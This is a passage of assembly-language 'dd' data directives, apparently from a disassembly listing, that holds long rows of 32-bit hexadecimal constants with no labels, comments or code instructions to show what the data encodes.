		dd 8C8DCC4Bh, 194DE168h, 608C12EEh, 5EF5D853h, 18B5074Ch
		dd 1211427Dh, 1403B016h, 5C398C63h, 0A92C2F01h,	0FDDFD96Eh
		dd 10C403Ah, 0FC9AF2BFh, 9CB17000h, 34188414h, 317B09h
		dd 0C725F641h, 7563EB38h, 1E2D1500h, 0FDB9CD2h,	45B700F8h
		dd 0E6721A31h, 54016A7Bh, 959B4273h, 0DFC3FE8h,	793200A2h
		dd 0E0EAA098h, 0E003027h, 0A1704C99h, 0A62F76h,	9B95E9Ah
		dd 4175409Dh, 5F6E4700h, 0CEF097DAh, 573C008Ch,	771BDD44h
		dd 0D900CB32h, 0B8B46B43h, 0CD2D50h, 0FFD0CED6h, 0F8715203h
		dd 0A5D10C60h, 2617C758h, 0DF66624h, 0CD08B98Eh, 4E20805Dh
		dd 5095C7B0h, 6EA00C2h,	78C9B487h, 340035A4h, 7AB7D17Dh
		dd 2A740A65h, 1EC8E9C0h, 0C0C7130Bh, 7CE6FE19h,	0E1744E10h
		dd 3D21D461h, 32E43AE0h, 17F1Fh, 5AF8BCD6h, 0A95D46C8h
		dd 0F96BBF0Ch, 580268CFh, 0EC142463h, 862AF981h, 8F3200F4h
		dd 3B35F6ABh, 0CD660925h, 0E21B109h, 0F4AB7812h, 0DF03BBC0h
		dd 0F16F672Dh, 11184381h, 0B57896F0h, 0C52AFA70h, 0A800F886h
		dd 0D9B3CA16h, 1D81ABB4h, 12AEC401h, 3A14C0ACh,	797CCA8Fh
		dd 74EF5300h, 3118D76Ch
		dd 0B95D31E0h, 0B77F48C9h, 4D041858h, 7D502F00h, 0BF0015C9h
		dd 0A3DF5691h, 0EA2CF7h, 0AF04133Ch, 298F5BCEh,	890169F8h
		dd 0EC078ECAh, 0D5E03294h, 0C4983CACh, 0D09E033Eh, 39BE848Dh
		dd 250AC05Eh, 5100CB1Bh, 82E6B4Eh, 7B6C787h, 0CCF868Bh
		dd 0B4FE4072h, 0F203D229h, 93CDC05Bh, 9275A1B1h, 211AD0h
		dd 7880B4FFh, 0A41F0DFDh, 8742C700h, 0F42A587Ah, 0A89D0146h
		dd 0B77C5177h, 64508149h, 296FE117h, 1DB0F9ECh,	5E3811DEh
		dd 31203090h, 0C7107F04h, 661077A7h, 41B43199h,	99806E11h
		dd 64B8E570h, 0D13902BAh, 40718034h, 0DD89B758h, 0F3041BB3h
		dd 0FFF0486Fh, 0B1C0015Dh, 0F7782649h, 0B9F0365h, 730AFAD8h
		dd 588B0830h, 72C37B49h, 0F5BD03F7h, 0DC58AD50h, 44FFC82Ah
		dd 5923C503h, 1BFEA25h,	1B229E64h, 0D862B4DDh, 28C0AD8Ah
		dd 690340DEh, 5A390374h, 5D717C3Ah, 7D495CA7h, 0ED326701h
		dd 73384F78h, 0C3358F4h, 0D236B020h, 49388AF8h,	754A0F21h
		dd 0A74F0F35h, 0AFB02399h, 781DD3h, 0B4A8448Eh,	0EEE030C8h
		dd 0E746690Fh, 8C644131h, 0FC871F1h, 77760747h,	0A1A01C62h
		dd 0C0EDAF35h, 0AD00AAA9h, 49B62FE2h, 2E2494h, 0E230175h
		dd 0A9FDB37Dh, 4F73E8F7h, 84B89900h, 9B15E252h,	16E12D5h
		dd 0FB300A7h, 0A910F933h, 3A48E12Eh, 0AC285000h, 0C0B2Bh
		dd 8E37798Fh, 9864246Bh, 4F1E7EF8h, 400A056h, 9C7433D7h
		dd 6D1300DDh, 8E40F42h,	0F67C226Ah, 7F942800h, 1F37AA33h
		dd 1951F7Bh, 7186458h, 6075BA87h, 6CA2DCAFh, 0F03DD72h
		dd 6A3A4EE3h, 0DA8085A4h, 1DE441F4h, 41D833A5h,	90D518AEh
		dd 0C70898A9h, 9520421h, 1CA03D33h, 0C448D302h,	685673C0h
		dd 0D55370Ch, 6CB0585Ah, 0A26030E7h, 334F1F8Ch,	0E0FE50C2h
		dd 3E338402h, 8E81081Ah, 78B3B838h, 0A14187D6h,	1E462126h
		dd 0DD051C70h, 6D0020E0h, 14C5782Bh, 4041F647h,	0C11F83C4h
		dd 11704C5Dh, 3370C61h,	5603A99Bh, 930CEF8h, 0B18161FFh
		dd 0A12B0637h, 49EE35C0h, 7963AA01h, 105DD108h,	9066F8F3h
		dd 2F14004Dh, 3B07B3D9h, 6D00886Bh, 659885DEh, 0C0BE28EDh
		dd 80210F98h, 6B71737Bh, 166154F8h, 4D6CC119h, 37810200h
		dd 989F6A3Ah, 0DB207CC5h, 0E54A002Ah, 0EFAC8BDAh, 68484B55h
		dd 8C00775Fh, 2B6BA191h, 1C462C7Ah, 43DE32F0h, 2DD5BAD2h
		dd 0F2CD13D8h, 0E0057B8h, 511CAA02h, 0F852BA4h,	6F8B46E1h
		dd 3D6881C0h, 0E8008D49h, 299664DAh, 3FADB83h, 0F4EE9CECh
		dd 27801A38h, 730F94D4h, 4028FE47h, 6F7AA841h, 190B00A6h
		dd 0C4DEDF5Bh, 30046B1h, 63E977Dh, 0EA1E1Bh, 0D8F44EB0h
		dd 7935EBEFh, 8B140700h, 0E191CBE9h, 0B54438C7h, 878099BBh
		dd 355E0109h, 0F900DF0Ch, 5921B6DCh, 0E1C673B7h, 4631094h
		dd 0A9B8F8B0h, 0AFA710C1h, 0D8C4598Bh, 4087820h, 0B3AC0989h
		dd 9C38C0D0h, 0AD0087A1h, 8E5D3F84h, 60624AE5h,	0ECCB0980h
		dd 0E3E8AF7Bh, 9B788700h, 15CE5E7Dh, 38EEE4C3h,	6F005ABFh
		dd 1D59AED0h, 3103D7C6h, 81A9932Fh, 0F1649840h,	0D62101A6h
		dd 2923BF97h, 0FF41F45Ch, 14FA3707h, 0C927118Ch, 1E872840h
		dd 0B8580E09h, 0B9872D95h, 55874B98h, 0C0C2A401h, 9C2E68C2h
		dd 0F8B1CE00h, 298DCB4Fh, 0DA5C00CAh, 0DB11B794h, 0B8002BEEh
		dd 0A6C4F6E9h, 0EE5823ACh, 0E7778D1h, 74263CF1h, 2B44FC43h
		dd 0D336CEB8h, 141345EEh, 0F700BD3Fh, 9CCCA6Ah,	6EEA3CC0h
		dd 0FE264180h, 0BB933F66h, 5EA7879h, 17187EB8h,	8C18641Eh
		dd 0D132000Eh, 730CC2A4h, 9A0039CBh, 0FCE11953h, 0F6B760Ah
		dd 35F81E8Ch, 0C4B5BDC0h, 0D8A06278h, 0C9796A31h, 8C9C7B07h
		dd 0F290C8AEh, 74FAEBh,	0B68D10A5h, 876C1BC0h, 26669100h
		dd 6E2A9A29h, 0F8BE0045h, 0BF37DB5Fh, 96004BBCh, 0FBEF644Eh
		dd 0C093D997h, 5F30A5AEh, 130EBFD7h, 63A6EB14h,	0EE016DDBh
		dd 46800011h, 0F054F32Dh, 0E4039694h, 25BC58A2h, 3DDA77F9h
		dd 0CC021636h, 60997715h, 61003844h, 0D9293421h, 28DDB9E0h
		dd 0FA9B43EAh, 80C71231h, 55000089h, 286B5C04h,	5EE3C800h
		dd 41F55658h, 0F9D400F2h, 0C6E95777h, 791D505Fh, 134F75DCh
		dd 8EEAA0CFh, 0F0447ED5h, 1FB73D92h, 0A3001449h, 74EB05ABh
		dd 0D1027749h, 551B4EFFh, 4F9BE191h, 48A5C8h, 3DBC0826h
		dd 0FC755735h, 0E68848h, 45B40CA6h, 0ECB3B53Eh,	0C9740F05h
		dd 0AFA16781h, 0F8C08E5Fh, 1200B694h, 8A91A406h, 990FA1h
		dd 535EA82h, 131875D0h,	0BCB9C900h, 60FBABDDh, 2EA900BFh
		dd 2CA112BEh, 2AFAA23Dh, 0F80022FCh, 3410C77Eh,	1BBC4Ch
		dd 0F46AD118h, 61B38393h, 0D9A7FC01h, 0EBE00EF8h, 0D7E424h
		dd 30F273CFh, 8D3A7C99h, 79405700h, 20120DF6h, 0EC0200BBh
		dd 4A7EB534h, 0CD0F21F1h, 805F0AB3h, 54B19FDh, 5EA9004Fh
		dd 0DDA7AA8Eh, 547A28E8h, 0E91DD70Fh, 71803C44h, 6256FE05h
		dd 9A3200F4h, 8C467F6Ch, 2500C533h, 0A742275Bh,	0C33FA288h
		dd 0AC452210h, 0F89B85C0h, 0F0C3C200h, 5CB5FB83h, 687B19A3h
		dd 0F087C804h, 6C50E0AEh, 0B2FC35B8h, 5B958E00h, 88E15C2Bh
		dd 63B70057h, 4E861164h, 193B2D82h, 0A22E8401h,	1C805EE2h
		dd 0FC997Eh, 67D72152h,	9023C9ECh, 18CA48h, 6EB8E0BDh
		dd 91C9A4Dh, 0C021F0ABh, 9E713401h, 0D34C205Ah,	31FDF530h
		dd 2FB7502h, 0BE152A5Eh, 54603910h, 20FC8621h, 76EB1103h
		dd 388567h, 23DC4718h, 0F5AFECF8h, 0DA440E15h, 91430FCCh
		dd 0E5572042h, 605699h,	97CD9C39h, 0C54C1406h, 0B18C4100h
		dd 0AF5A223Fh, 0E6F747Fh, 4F39E0D0h, 0BC9B4CE0h, 88FA902Ch
		dd 1D0002FCh, 5BA00ACAh, 3AC1E477h, 0FB011062h,	1A391393h
		dd 632CD83Eh, 153C58h, 0CB83AA2Ah, 852CFh, 66AF5189h, 6A426854h
		dd 98DB6B00h, 52DC05CAh, 0D40600B7h, 54D13F7Ah,	0D6019739h
		dd 0CDA23314h, 0E5D8B2D3h, 0D8D46F38h, 0C06D80BFh, 0CA5B44ABh
		dd 0D85D7400h, 77F5DE2Ch, 83030BCBh, 0E3011C67h, 0CCAB9F07h
		dd 0E91E6079h, 6457493Ah, 9CED600h, 3517B5Fh, 4FF12E6Eh
		dd 37904426h, 5B908D17h, 11928C07h, 0EBA056AFh,	0A7496Eh
		dd 0B0EF8134h, 35CFD629h, 0AFB7C500h, 39579B93h, 43330003h
		dd 0AD523F41h, 6F002BF8h, 9277AFC7h, 0FE0EFD2Fh, 0BDE5009Eh
		dd 15F99834h, 9102B5F2h, 0E88744D7h, 0BBB46889h, 12950309h
		dd 0C263FEDh, 38A3D2A0h, 57F9A001h, 0EE6ED804h,	0B00070B9h
		dd 32C3D7DAh, 13003D48h, 2FA62A90h, 3ED0F3h, 5D0D3B0Ch
		dd 0D85EC991h, 8C100F60h, 265C1639h, 6A2981Ah, 4190C199h
		dd 0F610A603h, 0C80FE632h, 33F209Eh, 5EC780DFh,	2EB03BC6h
		dd 1500A0D9h, 3CCA0A36h, 0E30637h, 0BFE85288h, 561A7942h
		dd 0EFAAB300h, 9074623Dh, 0CC49A73h, 0E83C5E8Ch, 1000C4C0h
		dd 0BCC65D44h, 7AFDA3E3h, 9A7A0090h, 0AE3D3A4Eh, 1403A091h
		dd 6D2CF656h, 19C0A8A3h, 0AC3F824h, 89C58AB9h, 9C8D00C4h
		dd 0A385F880h, 10515006h, 36BB37h, 69A57C21h, 0E10C5C24h
		dd 4D957D0Fh, 68ED6793h, 0F26A3D50h, 2EAB00FEh,	33854899h
		dd 9316236Dh, 101C02A8h, 5C69807Fh, 32553D7Ch, 8C043E67h
		dd 0A5425B00h, 7A0AC16Fh, 0EBD0B601h, 1A73F926h, 1CD73480h
		dd 1EC4EF11h, 6003412Dh, 0E491DC0Bh, 0C38900B1h, 0E90D4099h
		dd 7C03D5EFh, 0F814596Dh, 5B88E0C7h, 3E8B1EB5h,	0A3740F70h
		dd 0F0B84FA0h
		dd 3600240Bh, 5B9B99B4h, 0B1ECA9Dh, 0CFB2A0CDh,	0D3143C10h
		dd 9800B0BAh, 23113536h, 0E67D4Ch, 5EFC046Dh, 0EDAF4E0Ch
		dd 33391600h, 0E369FD2Bh, 589439FBh, 0E646CB0Eh, 0BAD9EE40h
		dd 4C01313Bh, 8EF7E982h, 0E440107Bh, 74C8DD98h,	0A9D918E6h
		dd 0FB5171BAh, 204D3Ch,	0C2D47C8Fh, 0BD58382h, 0A88DE031h
		dd 6F091810h, 570169E6h, 58B1CD0Bh, 0C4409A76h,	6654B838h
		dd 40F528B7h, 1E627B1Fh, 65D3580h, 0C2BEBE8h, 68197A7Fh
		dd 0C100CDE8h, 0C94EEE5Ah, 83DDBAh, 541D77CCh, 1438FC8Fh
		dd 6F0B18C0h, 0F0E3A792h, 0C6D60055h, 0FF2BA496h, 2C060AF4h
		dd 0B89D9E40h, 20530CC9h, 0D7B0DD4Dh, 0B5AF90Fh, 1658E1FFh
		dd 0F8D461D3h, 9B280305h, 9AAC842h, 0E4E820C3h,	603D2CBh
		dd 49C56BB3h, 1653F8C0h, 6843000Fh, 0C40B44F2h,	330B1AACh
		dd 0E2281E8h, 17E2A365h, 5ED0C086h, 3C310006h, 6C03D990h
		dd 0FB5438D1h, 0A2001E9Ch, 9D661B5Ah, 88C4F6h, 0C1BFBD53h
		dd 1EB309C5h, 59F0111Dh, 3AF58B00h, 302253F7h, 0B840EC25h
		dd 0C670C2A0h, 0EB86A4A0h, 2D0EE0FBh, 0E5C10741h, 0D035D8h
		dd 0EA776176h, 3B5E7234h, 483ECB98h, 6037833Eh,	0E997B3FFh
		dd 0D45056D6h, 405432h,	0DD9CCF8Ch, 1BED5A1Dh, 0CBF7F58h
		dd 6103CD25h, 80A567B5h, 424FE0DCh, 5909716Bh, 80892652h
		dd 4C536DBDh, 195600F7h, 934A24E0h, 32000C1Ah, 5DB8D87Ch
		dd 0EB035105h, 3F491EC8h, 87012C42h, 54FA366Ch,	0D0B4CBF8h
		dd 64D53534h, 0AF69BA0Eh, 0EF5B614Fh, 8180C3D6h, 827F6898h
		dd 31C0F9EBh, 0E972D99Dh, 0B01B0467h, 904AFB74h, 0C2950700h
		dd 0EC01E176h, 3B3CC75Ch, 0B2CC5657h, 0B57086h,	8CBFC44Bh
		dd 0A20CEC6Fh, 0E6FEF600h, 6EBA93E5h, 838B3A2Fh, 3FAC1B83h
		dd 68914304h, 849B20FFh, 8C514A0Eh, 0F0B6A067h,	13573AA8h
		dd 4D7EDh, 26E4F982h, 173E32DFh, 4D36002Ah, 0B20A8359h
		dd 7C487C9Ch, 50860103h, 0D051461Dh, 0A54EF884h, 0ABB4C806h
		dd 7205792h, 87D3889Eh,	0F5FD007h, 510065D0h, 4E05B862h
		dd 10316C4h, 84DEF9ACh,	0C9DC04CCh, 2D96D823h, 0B361CD00h
		dd 750658F2h, 805174CEh, 0BB37A143h, 5F80D0C0h,	26AEE9h
		dd 86E3174Dh, 1E018C77h, 10B76618h, 1EA91A31h, 40F7BB6Fh
		dd 26B5E9B8h, 0FC004ACFh, 0D47DBF8Eh, 1BC80E7h,	740F27ECh
		dd 60EF4598h, 0DF073641h, 68AD60F5h, 0C859BAC0h, 476772Ch
		dd 36893210h, 0D180FB9Eh, 785A19D6h, 94ECFF35h,	50BE01CEh
		dd 9B17122Dh, 5DA2D0F4h, 9FD720C1h, 5BF84B75h, 41EE0F3Fh
		dd 968051D8h, 2562B35Dh, 0E330A3E8h, 97B480A1h,	447E30A4h
		dd 0A5BE3520h, 0DC073800h, 27514BB0h, 548211B7h, 0E41907BBh
		dd 2F87DF39h, 65DC0380h, 51361F28h, 0AE69F099h,	1F181C7Ch
		dd 5C60199Ch, 3CF203h, 4C9D3629h, 0C92FC6BEh, 0CA0E6E00h
		dd 4E271719h, 8F8300E7h, 29F49F4Dh, 0DD1F7D2Ah,	4053B89h
		dd 0C002444h, 3E0FFBCEh, 0D198A03Dh, 97F500BBh,	99C51760h
		dd 0FE005BBDh, 8B753590h, 0E5EFBFh, 5CE47D7Ah, 0BCC26278h
		dd 357F500h, 9AE6879Bh,	5430002Eh, 89E0370Eh, 69C0F3FAh
		dd 9C7569B5h, 45CC005Ah, 1742F860h, 0BA005CD2h,	0EB76B7C3h
		dd 347ED5Bh, 5272F45Eh,	0FAE0E1CBh, 0EF7C797Dh,	270B0E00h
		dd 0B13FEBFFh, 5E59C099h, 3AAA74E8h, 30006AEAh,	2411D952h
		dd 9C032Dh, 2605F466h, 0D7AEC13h, 0FD1CBA1Ch, 0EB3C78h
		dd 2519520Fh, 7A9526A7h, 0B460034Ah, 61D49377h,	0EC0CFAC1h
		dd 64012E33h, 0C210FD16h, 0C7F5F6E7h, 989C7BD5h, 1C0C008Ah
		dd 878F4D67h, 7E410358h, 0A9508D00h, 0A9DB37Eh,	0DFEF3BFCh
		dd 0BFFB2300h, 44676089h, 0AFD30C06h, 40EBE4h, 62CD73A3h
		dd 6A6D09DBh, 6B19D260h, 1D4F797Ch, 805260BEh, 82AA984Dh
		dd 20C716E0h, 513C70BFh, 9E0A061Ah, 108DF8C5h, 0DB656E18h
		dd 1D4F8349h, 7EF2A22Fh, 4B00203h, 0A4F0AE51h, 35000B99h
		dd 0E9E8A71Dh, 17206CF6h, 0E0A073D2h, 40CAB13h,	6878C2AEh
		dd 6F9E0092h, 8A26CEC5h, 611524DDh, 7C844511h, 4B5A4601h
		dd 3834CD33h, 0B20088BEh, 0D3D722BDh, 0DEE08EBCh, 534D1400h
		dd 9917EF69h, 0FEC2001Ch, 937845C8h, 0EE00E6BFh, 149A0D16h
		dd 773C3Fh, 0C8AD23CEh,	0BD0528C4h, 8CC5C30Eh, 35E3605Eh
		dd 300284EDh, 497130C2h, 4D00F226h, 3362E52Bh, 5EF96E1h
		dd 4774FCBEh, 709840D2h, 0DD5258ABh, 66E1BD00h,	426F6E5Ch
		dd 496961D6h, 0E57E318Eh, 0D1B5DC20h, 0C0354E03h, 9823F15Eh
		dd 0AAFB8Ah, 4D44E59Dh,	0F63652DFh, 10E64F4h, 895A45B4h
		dd 7E5407B5h, 0D6A9818Eh, 8E83A86h, 88390757h, 0C72C8E87h
		dd 0ADCC0001h, 2E78702Dh, 7921FA0Ch, 0EB40A8h, 0FF659A85h
		dd 73AF364h, 8EA14200h,	152D35C1h, 8AE10226h, 0FD0A7444h
		dd 7CAC270Fh, 0E0259753h, 0ECCBB5BBh, 2AFE30A9h, 2F220F20h
		dd 6EDDEA01h, 6DB3EE35h, 249DE8h, 9546FECCh, 0E7F65737h
		dd 99D96807h, 48F0CA64h, 0C66212A1h, 0A19032B1h, 0B68BCB0Ch
		dd 12193Fh, 8635E757h, 0CCCA1F9h, 0FB504DECh, 0E4002684h
		dd 25840ABAh, 0C7ACCAEDh, 0F07DB440h, 57AEB382h, 0CFF65400h
		dd 674B0605h, 2D4900B9h, 8AF7AB96h, 0AA00A3E8h,	1C71A932h
		dd 7158E90Bh, 69E60163h, 7EA1EF0Fh, 0A42448FDh,	6747B513h
		dd 0E3122B01h, 79705037h, 0C8B25039h, 38DA30C9h, 0F41F79B8h
		dd 3027D37Fh, 85DA81C2h, 87C4C6E6h, 0E92A0C25h,	0C9384C4Bh
		dd 3EF9A80Ah, 7301E4FBh, 74159184h, 9C05E806h, 4DB8DAE6h
		dd 1FE7C000h, 9FEA21h, 111B0F73h, 246FE40Dh, 959751Ch
		dd 0A038D400h, 7BF42510h, 0B8F53F67h, 33424300h, 0B94A352Ah
		dd 0C3D30403h, 7CEFCE3Ch, 3B1D7358h, 4698E698h,	1CA97836h
		dd 0F506A17Eh, 0A3C62352h, 4FF622A8h, 604B5301h, 9B6731C1h
		dd 0C3E606C7h, 1195E9E4h, 0FE84FB01h, 0C50DD3DBh, 13CCCE8h
		dd 0CCA73A9h, 0A63336EFh, 46031A69h, 0D072D487h, 0C0AA7C88h
		dd 8C300118h, 990007B2h, 93404CC1h, 2559D11h, 0DF98A4CEh
		dd 9EE08D27h, 0F93F7A77h, 5E660075h, 0AB6EEB03h, 0A053906Fh
		dd 0F0C12960h, 516900D9h, 0B597D6DAh, 390EF0D7h, 5CD05BF5h
		dd 0FCE719C0h, 39BABC7h, 8A10BA99h, 13B069A1h, 0E0ED39A3h
		dd 0CB00BB8Ch, 0EE0E1C1Fh, 3DD5F32h, 0E0D64087h, 68008A60h
		dd 9D6EE74Ch, 3FE8443Ch, 6601C826h, 0B3060246h,	4C881C3h
		dd 0D1CB2A3Bh, 36396F4h, 206D4445h, 0D5D8BEA0h,	4338EE03h
		dd 3072809Dh, 5CB24FCDh, 76A3007Bh, 7308DE24h, 0BE0C47ACh
		dd 7993D770h, 0F07A1831h, 85349040h, 9AF43301h,	9F9B08F2h
		dd 7C561880h, 6BB105A6h, 8725910Eh, 2901404Dh, 1F4255h
		dd 0CE2630D4h, 0AABB252h, 15FBFA1Fh, 4B516603h,	48102905h
		dd 1898D004h, 2E10DE60h, 74E6AEF6h, 44600AAh, 0E85B3062h
		dd 470CC3E4h, 2011DFFDh, 5DC039B9h, 7CF34B80h, 0E962D508h
		dd 0D0BD100h, 406CD68Dh, 71CC0089h, 601DAD5Fh, 500CD1Ah
		dd 0AF5B3C54h, 0A9B827Bh, 0E9F2C6D3h, 1E2807B5h, 107D4737h
		dd 0B302AB3Fh, 77FB4107h, 0A0CFC718h, 0A62ACF4Dh, 0BD140F6Eh
		dd 8CC0B94Bh, 0F111ECEh, 360BA3Ah, 0A54CD427h, 0BFABD875h
		dd 31680019h, 49FF775Dh, 9C009B47h, 0C875436Ah,	76695EDh
		dd 2BB78D5Ah, 76B3A00Dh, 63795FB8h, 4AA13Dh, 9EC307EBh
		dd 0F477ECh, 0F26B5CF9h
		dd 4415E8A5h, 0ED412E00h, 7FC0B737h, 0D86907AFh, 326677Bh
		dd 488076D3h, 0AE008834h, 1C72E321h, 0B0C57546h, 0B9F27Ch
		dd 234704F5h, 83026AAh,	3A430F1Ch, 0E9C0A980h, 0A010DA1Eh
		dd 8828D0h, 8506B95h, 0D6599D77h, 18BE20Bh, 99A480EFh
		dd 0C09E57C8h, 394031FCh, 81C0D50Ch, 0BFFE887Dh, 6CB100B9h
		dd 692BE32Eh, 0EA608624h, 0AAFDAD91h, 0CB163B43h, 1896C780h
		dd 0DAB29001h, 474D0600h, 3AEF3170h, 0EDA10008h, 0FCA9D1Ch
		dd 34005C60h, 0E63504F6h, 7F9FC8h, 2D1526B0h, 320F8C86h
		dd 0BBC2D828h, 20CDA400h, 0EAE19FBCh, 2E7B3946h, 0C001B600h
		dd 0F45FA1BAh, 9BE06D00h, 0C85795B3h, 0B83D716Ah, 0A670371h
		dd 0E0A25FC9h, 0FBB96DD8h, 0A9DA8E00h, 4B94E502h, 95AF3AD1h
		dd 2497F000h, 0F60C532Dh, 0D91C1C78h, 873C462Fh, 42960A61h
		dd 2E2CE830h, 37B70921h, 40000DCEh, 0C5954C19h,	0DE703E7Ah
		dd 0C8E30A00h, 0B0F72BA1h, 4B0100A7h, 0D6248A17h, 4146EBCh
		dd 1FB04879h, 960045B8h, 89DD65FCh, 0BABD0316h,	0CBEFDB08h
		dd 197C4AE0h, 0B356B4A0h, 4BDD1100h, 58E893D5h,	5C36126Ah
		dd 0A4880080h, 24EF68CAh, 9C005EE2h, 5B75C7BDh,	1E1B7EDh
		dd 0AA65B5E4h, 8058B09Bh, 6C17CD30h, 382287E8h,	0C41EBDA5h
		dd 5C52C098h, 0FEAE5941h, 708164Dh, 0F3A5B5D2h,	1F4D1C50h
		dd 606D1D7Dh, 562303FBh, 0A00217DEh, 0FD509A97h, 0CE4C057h
		dd 152B00D7h, 0ACCF1C93h, 90006EC5h, 0A33B54E5h, 76C16A0h
		dd 41E24210h, 0A378F762h, 0E3CBE73Fh, 6AE5CF0h,	88D17B01h
		dd 58B69430h, 0F187D987h, 0AA97F39Ah, 0CA34C800h, 0FBFF7D5h
		dd 0B3E42BE3h, 8810074h, 0E2526EF7h, 1283EB00h,	6F031079h
		dd 609701D1h, 3DD97C4Eh, 1F9EDC6Ch, 5E187A00h, 0A081DC69h
		dd 67231D0Eh, 568D409Dh, 2BD412A6h, 4C11E00h, 0D73D3458h
		dd 0FCDD00E5h, 5D98C5EBh, 0A2007D7Ch, 0FAAB85E1h, 0A00540ECh
		dd 0B0FBEB92h, 0A7B300AFh, 48D0D3B0h, 412E5A22h, 0FF00CCB6h
		dd 81662984h, 50F21F87h, 0E0AED911h, 327BE0A7h,	33D3A03h
		dd 0A0A37C9Bh, 293CB5h,	0D8CDC7BEh, 8AA5F6AEh, 68D79314h
		dd 0FFE04C8h, 10906258h, 76607C6Ah, 66F40050h, 4AF91F85h
		dd 0CBFCA44Dh, 2491E500h, 0DFB04CB9h, 54140093h, 9C2103EEh
		dd 5C7AFAA0h, 0CEBF3D00h, 2B02E5D1h, 0DA4A0AB6h, 4EE0E3FDh
		dd 59520D20h, 0A3006DB8h, 0C498A72Ah, 727EACh, 2FE612E1h
		dd 65429A02h, 6A62C9F5h, 744AB0h, 0A2C3F3C9h, 6DC6023Fh
		dd 9E3D600h, 1D399981h,	8DB1006Ch, 0F0CEE65Dh, 7E70754Ch
		dd 8BAD4112h, 20D17B0Eh, 3B0E057Ch, 91C903ABh, 5D855902h
		dd 968F9480h, 0D1E6C000h, 3D86FFA6h, 4357385Ah,	51B79C09h
		dd 0B68AD020h, 0D80BFBF0h, 80441EB5h, 0F968766Ah, 4AA800D2h
		dd 0C6DA8186h, 5277D134h, 314C8C92h, 16710704h,	2BB992B5h
		dd 56260584h, 0CBDB870Eh, 948900E1h, 2C9CCE2Ah,	806041C1h
		dd 9AD2A34Ah, 67E0B3F8h, 3FE2BB00h, 6A7EAB3Dh, 648707C8h
		dd 0E05CE8F2h, 385B1666h, 0BF883100h, 0C77BE763h, 59E530BBh
		dd 2136A388h, 0F61A6F00h, 8D2B83D5h, 0C0F10CB6h, 3E711F87h
		dd 905D7200h, 9CF8DD8Fh, 35EC0Bh, 0A9882D94h, 0FEC801EEh
		dd 5C499102h, 0C3623C74h, 0C3D006BAh, 49847C99h, 48DC810Eh
		dd 7AC484F0h, 4012A490h, 0C8DE00AEh, 45F932C1h,	8877E271h
		dd 0B09C6200h, 4A278D17h, 306D726Eh, 1E8AEB1h, 0C9008F7Ah
		dd 7EB613B5h, 0E4FBD7D5h, 0BA9E1386h, 224F0068h, 4208B06Bh
		dd 0CCBE90Eh, 4C3780A8h, 56F265h, 0AF2C4814h, 8A1921EBh
		dd 254D6B01h, 737B66B9h, 3FD48170h, 6E85DBF2h, 0C0D3D73Ah
		dd 0E5590858h, 10F0AE01h, 23AB7689h, 0FEA08460h, 0A92E00CAh
		dd 0FB6E57BDh, 24002AE6h, 0C7D88D5Fh, 0B6FE32h,	721FBB5Dh
		dd 16D91CDFh, 8758DC01h, 0B491D89Ah, 3D812030h,	518227EAh
		dd 0BF8AC003h, 0C9413880h, 0D57A7264h, 77A6A01Eh, 93EDEAC2h
		dd 3B244836h, 60624CD0h, 61F5B7B0h, 0A5D33200h,	0CEA2BC31h
		dd 0A15B009Ah, 0EF88499Dh, 0F2003CC6h, 8592CD9Ch, 1233F45h
		dd 342C5D5Ah, 6447D865h, 35587CE8h, 0A2648238h,	0E060C317h
		dd 0FE8836A0h, 2806005Eh, 0DD625249h, 0D1E0143Bh, 0B2DB3A05h
		dd 0ED0435E4h, 68828B7Dh, 5A54403Fh, 60889152h,	0EA8A0AD8h
		dd 5E8B691Fh, 0D02C9h, 0FF1BC18Bh, 0E407003Dh, 6C18B357h
		dd 0DF015EACh, 0E3EC4D64h, 0B4DFC7F1h, 0BF00F8CFh, 373F5552h
		dd 99099283h, 20F794B4h, 0B6AB8E5Ch, 7A84072Ch,	9EEFF2BFh
		dd 3B0BE681h, 0A54C20B8h, 356ED00h, 51D7257Ch, 0D34000B1h
		dd 55FF504h, 3E0246C9h,	0B90A1DD8h, 2F94A143h, 60899E55h
		dd 0CB04DF7h, 0C051914h, 0E9C9FBFAh, 1AB21680h,	700A5938h
		dd 8D65E309h, 0CDFB9C20h, 0C409B954h, 10845ED1h, 4A00CCCh
		dd 0E0EFB30Bh, 0DAB88015h, 0F63BEC7Ah, 37590385h, 1C6496D4h
		dd 80E92250h, 0F9895B63h, 0D702F2A2h, 0D5097A95h, 0F830C316h
		dd 776D5C54h, 33F60002h, 580E63ABh, 2A2618CCh, 81C108BBh
		dd 32B5B9h, 80C10C1Eh, 2F56A73h, 8585853h, 72904902h, 97157600h
		dd 0DA633C25h, 1E14F457h, 1A61C8Eh, 0E453123Fh,	31F7D401h
		dd 0D9057D72h, 9111601Dh, 0B4A84CC0h, 758E0046h, 0E529E7B0h
		dd 0B0A5BA5Dh, 9572CD64h, 8C2570AFh, 43C0D0C1h,	0F254913Dh
		dd 6500EEBCh, 0EBAA5407h, 12333CF3h, 706460B5h,	88387B78h
		dd 0A300CC9Ah, 2487B149h, 2819DCB7h, 0F1AC3664h, 0A16BC308h
		dd 0EA603080h, 63BA1940h, 0AC3F4915h, 0A3082868h, 0C4024716h
		dd 0C6509088h, 0CAF092E8h, 0A3A8B30Ch, 3791ADh,	0BE691A02h
		dd 93665EDBh, 10574Ch, 0AAF9D6BFh, 659DFBh, 8D8B5513h
		dd 6AA5DC03h, 0E6033E75h, 7E976EF6h, 32BC90C0h,	21E4076Fh
		dd 2174522Dh, 30800B25h, 4C09D205h, 37BCD0h, 0C1892689h
		dd 4658006Dh, 43AFA40h,	0AC00B76Ch, 0BD6AF73Eh,	0E68C69B1h
		dd 7C970053h, 0D611A4A7h, 0F60776D2h, 6D4807DAh, 4C42E920h
		dd 0FBAD01B8h, 0CC816B8Ch, 28A07E03h, 0B2470002h, 62BE1BAFh
		dd 92010F1Ah, 8756A558h, 0DBE45519h, 0F6896042h, 8C65C015h
		dd 0B043EC02h, 608DDDD8h, 0FAFD0558h, 0FFFB01A0h, 0A412E506h
		dd 115770F9h, 0D645B90Fh, 0DFC0DEB0h, 0B69B8B7Ah, 0EBFE3BF5h
		dd 1A0600F3h, 0C8579252h, 4E0069A6h, 0B23F9F24h, 4C56B4Fh
		dd 16FED47Ah, 4760C04Ah, 8D03B728h, 81858296h, 62800F75h
		dd 9A42C7FEh, 0E8406DC5h, 0B5551E05h, 96CCEC10h, 32571200h
		dd 8EC5728Ch, 0C0B238F4h, 94015CA7h, 381A598Dh,	0C9910098h
